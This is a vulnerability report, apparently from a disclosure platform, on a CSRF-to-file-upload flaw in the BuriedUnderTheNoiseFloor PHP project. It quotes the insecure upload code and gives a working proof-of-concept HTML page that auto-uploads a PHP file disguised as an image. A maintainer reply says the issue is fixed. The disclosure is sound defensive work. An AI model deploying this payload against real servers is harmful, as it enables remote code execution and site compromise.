Cross-Site Request Forgery (CSRF) in jspark311/buriedunderthenoisefloor
Reported on
Oct 13th 2021
Description
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
https://github.com/jspark311/BuriedUnderTheNoiseFloor/ is vulnerable to Cross-Site Request Forgery as shown below. The vulnerability allows to upload a php file without user interaction.
Proof of concept
Snippet:
if (isset($_FILES) && isset($_FILES['upfile'])) {
if ($_FILES['upfile']['error'] == 0) {
if (in_array($_FILES['upfile']['type'], $allowed)) {
$extension = end(explode('.', $_FILES['upfile']['name']));
$file_path = 'uploads/'.hash('sha256', $_FILES['upfile']['tmp_name'].time()).'.'.$extension;
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $file_path)) {
$img = file_get_contents($file_path);
$state = 1;
Payload
Create a new file csrf_upload.html in any location with the following content:
In this example , the path is http://localhost/BuriedUnderTheNoiseFloor-master/form.php change if needed:
<html>
<head>
<script>
function uploader(){
var form = document.getElementById('myForm');
var xhr = new XMLHttpRequest();
var data = new FormData(form);
var content = '<?php phpinfo(); ?>';
var blob = new Blob([content], { type: "image/jpg"});
data.append("upfile", blob,"csrftest.php");
xhr.open("post", form.action); // open connection
xhr.send(data);
}
</script>
</head>
<body onload=uploader()>
<form id="myForm" action="http://localhost/BuriedUnderTheNoiseFloor-master/form.php">
<input id="name" type="text" />
<button onclick="uploader()">Click</button>
</form>
</body>
</html>
Open csrf_upload.html file in a browser and observe a new php file has been created in uploads directory.
Thus making rce without interaction
Impact
The vulnerability allows an attacker to execute commands on the server that is running an application, and typically fully compromise the application and all its data.
Just noticed this. This complaint is valid, but it's also only applicable for the test/demonstration script. It is not intended that form.php be used in a deployed application.
This has been fixed by ensuring the PHP execution policy is disable for the upload directory on the webserver.